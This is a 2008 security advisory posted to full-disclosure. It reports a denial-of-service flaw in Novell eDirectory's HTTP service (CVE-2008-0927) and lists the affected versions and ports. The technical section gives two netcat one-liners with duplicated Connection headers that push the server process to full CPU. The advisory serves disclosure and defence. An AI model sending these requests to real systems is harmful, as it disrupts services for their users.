full-disclosure - Novell eDirectory DoS via HTTP headers

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Date: Mon, 05 May 2008 21:26:36 +0200
From: Nicob <nicob@...ob.net>
To: vulnwatch@...nwatch.org, bugtraq@...urityfocus.com,
	full-disclosure@...ts.grok.org.uk
Subject: Novell eDirectory DoS via HTTP headers

[=] Affected software :

	Editor : Novell
	Name : eDirectory
	Version : < 8.7.3 SP 10 and < 8.8.2
	Services : TCP/8028 (HTTP) and TCP/8030 (HTTPS)

[=] External references :

http://www.novell.com/support/viewContent.do?externalId=3829452&sliceId=1
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0927

[=] Technical details :

The dhost.exe process will consume 100% of a CPU. More than one request
can be used to lock every CPU.

Two "Connection:" headers : echo "GET / HTTP/1.0"; echo "Connection:
foo"; echo "Connection: bar"; echo; echo) | nc -vn 192.168.1.1 8028 

One "Connection:" header with two values : (echo "GET / HTTP/1.0"; echo
"Connection: foo, bar"; echo; echo) | nc -vn 192.168.1.1 8028

Nicob

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